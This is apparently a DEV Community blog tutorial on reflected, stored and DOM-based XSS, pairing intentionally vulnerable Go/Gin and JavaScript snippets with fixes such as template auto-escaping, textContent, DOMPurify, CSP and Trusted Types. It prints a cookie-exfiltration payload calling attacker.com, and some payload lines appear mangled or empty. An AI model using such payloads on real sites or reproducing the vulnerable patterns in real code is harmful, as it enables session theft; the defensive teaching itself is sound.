DEV Community

XSS Attacks Are Everywhere: Reflected, Stored, DOM-Based — How to Actually Fix Them (2026)

Mahdi Shamlou here.

Mahdi, okay fine — you got me with NoSQL injection last time ( read that story here ). But my site is definitely safe from XSS now. I sanitize all inputs on the backend in Go, I use strict validation, and I even have a WAF. It's impossible to hack.

I smiled. Then I asked for his URL — again.

Within 3 minutes, I popped an alert(document.cookie) on his profile page. Then I upgraded it to silently exfiltrate his session token to my server. His face went pale. Again.

Moral of the story: "I sanitize input on the backend" does NOT mean "I'm XSS-proof". XSS isn't about input — it's about output. If you render untrusted data into HTML, JavaScript, CSS, or URLs without proper context-aware encoding, you're vulnerable — no matter your stack, no matter your sanitization.

In this guide, I'll show you:

  • How I stole my friend's session with a 1-line XSS payload (and how to fix it in Go/Gin)
  • The 3 main XSS types — with real Go (Gin) code examples
  • Why even careful backend sanitization can fail against DOM-based XSS
  • Content Security Policy, DOMPurify, and Trusted Types — what actually works
  • Actual Go code fixes + tools to find these bugs automatically

Let's dive in.
🔗 Missed the NoSQL injection takedown? Read it here:
➡️ Injection Attacks Are Not Dead: SQL, NoSQL, ORM, and Command Injection — How to Actually Fix Them


What Is XSS, Really?

Mahdi Shamlou

Cross-Site Scripting (XSS) is a web security vulnerability that allows an attacker to inject malicious client-side scripts (usually JavaScript) into web pages viewed by other users.

The browser executes the code as if it came from the trusted site itself — because technically, it did. The root cause? Untrusted data is rendered into the page without proper encoding or sanitization.

XSS isn't about "hacking the server". It's about hacking the user's browser — and using that trust to steal cookies, redirect users, log keystrokes, or even take over accounts.

OWASP ranks XSS as a permanent member of the Top 10 (A03 in 2026, but historically A07). And it’s still everywhere — even on sites with “strict backend validation”.

Let’s break down the three flavours using only Go/Gin.


The 3 Main XSS Types (With Go/Gin Examples)

Reflected XSS — The “Click This Link” Attack

How it happens:
User input is immediately reflected back in the server’s response without encoding. Attackers craft a malicious link and trick victims into clicking it.

Vulnerable Go (Gin) code:

package main

import "github.com/gin-gonic/gin"

func main() {
    r := gin.Default()
    r.GET("/search", func(c *gin.Context) {
        q := c.Query("q")
        // 🚨 DANGER: raw string concatenation into HTML
        html := "<h1>Search results for: " + q + "</h1>"
        c.Data(200, "text/html", []byte(html))
    })
    r.Run()
}
Enter fullscreen mode Exit fullscreen mode

Attacker payload:

/search?q=fetch(&#39;<a href="https://attacker.com/steal?cookie=&#x27;+document.cookie">https://attacker.com/steal?cookie=&#39;+document.cookie</a>)

Result:

The victim’s browser executes the script and sends their session cookie to the attacker.

Fix — Use Gin’s template engine (auto‑escaping):


r.GET("/search-safe", func(c *gin.Context) {
    q := c.Query("q")
    // templates/search.tmpl: <h1>Search results for: {{ .Q }}</h1>
    c.HTML(200, "search.tmpl", gin.H{"Q": q})
})

Enter fullscreen mode Exit fullscreen mode

Go’s html/template automatically escapes &, <, >, ', " and is context‑aware.


Stored XSS — The Silent Killer

How it happens:
Malicious input is saved in the database and later displayed to other users. Think comment sections, user profiles, or forum posts.

Vulnerable Go (Gin + MongoDB) code:

r.POST("/comment", func(c *gin.Context) {
    var cmt struct{ Username, Text string }
    c.BindJSON(&cmt)
    db.Collection("comments").InsertOne(ctx, cmt) // stored raw
})

r.GET("/comments", func(c *gin.Context) {
    var comments []struct{ Username, Text string }
    db.Collection("comments").Find(ctx, bson.M{}).All(&comments)
    html := "<ul>"
    for _, cmt := range comments {
        // 🚨 dangerous concatenation
        html += "<li><b>" + cmt.Username + "</b>: " + cmt.Text + "</li>"
    }
    html += "</ul>"
    c.Data(200, "text/html", []byte(html))
})

Enter fullscreen mode Exit fullscreen mode

Attacker posts:

{ "username": "hacker", "text": "alert(&#39;XSS&#39;)" }
Every visitor to /comments gets the payload executed.

Fix — Encode on output using Go templates:

// comments.tmpl:
// <ul>{{range .}}<li><b>{{.Username}}</b>: {{.Text}}</li>{{end}}</ul>

r.GET("/comments-safe", func(c *gin.Context) {
    var comments []Comment
    db.Collection("comments").Find(ctx, bson.M{}).All(&comments)
    c.HTML(200, "comments.tmpl", gin.H{"Comments": comments})
})
Enter fullscreen mode Exit fullscreen mode

Key lesson: Stored XSS proves that “sanitizing input on the backend” is a myth. You must encode on output, based on the context (HTML, attribute, JavaScript, etc.).


DOM‑Based XSS — The Frontend Betrayal

How it happens:
The vulnerability exists entirely in client‑side JavaScript. The server may be completely innocent — it sends safe HTML, but the frontend code unsafely manipulates the DOM using attacker‑controlled data (like location.hash or URL parameters).

Vulnerable Go/Gin serving an HTML file:


r.Static("/static", "./static")
r.GET("/profile", func(c *gin.Context) {
    c.HTML(200, "profile.tmpl", nil)
})
Enter fullscreen mode Exit fullscreen mode

And inside profile.tmpl (no backend sanitisation can help here):


<script>
    let name = new URLSearchParams(location.search).get('name');
    // 🚨 dangerous innerHTML
    document.getElementById('welcome').innerHTML = 'Hello, ' + name;
</script>
Enter fullscreen mode Exit fullscreen mode

Attacker payload:

/profile?name=

Fix — Use safe DOM APIs (still inside Go template):


<script>
    let name = new URLSearchParams(location.search).get('name');
    // ✅ use textContent
    document.getElementById('welcome').textContent = 'Hello, ' + name;
</script>
Enter fullscreen mode Exit fullscreen mode

Or sanitise with DOMPurify (add the library in your static files):

<script src="/static/purify.min.js"></script>
<script>
    let name = new URLSearchParams(location.search).get('name');
    let clean = DOMPurify.sanitize(name, {ALLOWED_TAGS: []});
    document.getElementById('welcome').innerHTML = clean;
</script>
Enter fullscreen mode Exit fullscreen mode

DOM‑based XSS is why scanning your frontend code for innerHTML, document.write, or eval() is critical. No amount of server‑side filtering can stop it.


Why “Backend Sanitization” Fails

My friend in the story used Go, strict validation, and a WAF. But DOM‑based XSS bypassed all of it.

The only reliable prevention:

Context‑aware output encoding on the rendering layer (HTML, JS, URL, CSS), plus a Content Security Policy (CSP) as a second line of defence.


Content Security Policy (CSP) + Trusted Types — Your Safety Net

Even if an XSS bug exists, CSP can block the malicious script from executing. And Trusted Types makes it impossible to write unsafe DOM injection code in the first place — a type‑safe approach to XSS prevention.

Set CSP Header in Gin Middleware

func CSP() gin.HandlerFunc {
    return func(c *gin.Context) {
        c.Header("Content-Security-Policy", 
            "default-src 'self'; " +
            "script-src 'nonce-abc123' 'strict-dynamic'; " +
            "require-trusted-types-for 'script'; " +
            "trusted-types myPolicy")
        c.Next()
    }
}

r.Use(CSP())
Enter fullscreen mode Exit fullscreen mode

What this CSP does:

  • default-src 'self' – only allow resources from the same origin.
  • script-src 'nonce-abc123' 'strict-dynamic' – only execute scripts with a matching nonce (prevents inline script injection).
  • require-trusted-types-for 'script' – enforces Trusted Types: the browser will reject any string passed to an injection sink (innerHTML, outerHTML, document.write, etc.).
  • trusted-types myPolicy – allows only policies named myPolicy to create trusted HTML.

Trusted Types — Type‑Safe DOM Injection

With Trusted Types enabled, this code throws an error:

// 🚨 Browser blocks this (TypeError)
element.innerHTML = userInput;
Enter fullscreen mode Exit fullscreen mode

Instead, you must create a trusted type using a policy:

// Create a policy (once, usually in your main.js)
const policy = trustedTypes.createPolicy('myPolicy', {
    createHTML: (input) => {
        // Sanitize or safely encode here
        return DOMPurify.sanitize(input);
    }
});

// ✅ Safe: browser accepts because it's a TrustedHTML object
element.innerHTML = policy.createHTML(userInput);
Enter fullscreen mode Exit fullscreen mode

Why Trusted Types wins:

  • Type safety – the browser enforces that only trusted objects reach dangerous functions.
  • No forgetting – you can’t accidentally write innerHTML = x without a policy.
  • Backwards compatible – unsupported browsers ignore the header.

Hands‑On Practice (Don’t Just Read)

Remember: Use isolated Docker or VMs for testing. XSS payloads can still be destructive (e.g., stealing cookies, defacing pages).


Want More?

If you enjoyed this deep dive into XSS, check out my other articles:


Mahdi Shamlou

🔗 LinkedIn:
https://www.linkedin.com/in/mahdi-shamlou-3b52b8278
📱 Telegram:
https://telegram.me/mahdi0shamlou
📸 Instagram:
https://www.instagram.com/mahdi0shamlou/

Author: Mahdi Shamlou | مهدی شاملو

Top comments (2)

Collapse
 
tom_1993_p profile image
tomtom

Thanks Mahdi! This is exactly what I needed.

Collapse
 
mahdi0shamlou profile image
Mahdi SHamlou | مهدی شاملو

You welcome